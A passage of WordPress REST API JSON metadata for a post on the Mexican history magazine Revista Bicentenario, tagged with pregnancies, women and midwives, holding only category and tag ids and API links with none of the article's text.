y<\/p>\n","protected":false},"author":8,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21,1356],"tags":[1359,69,1360],"class_list":{"0":"post-6595","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-articulos","7":"category-bicentenario-28","8":"tag-embarazos","9":"tag-mujeres","10":"tag-parteras"},"_links":{"self":[{"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/posts\/6595","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/comments?post=6595"}],"version-history":[{"count":15,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/posts\/6595\/revisions"}],"predecessor-version":[{"id":24492,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/posts\/6595\/revisions\/24492"}],"wp:attachment":[{"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/media?parent=6595"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/categories?post=6595"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/tags?post=6595"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}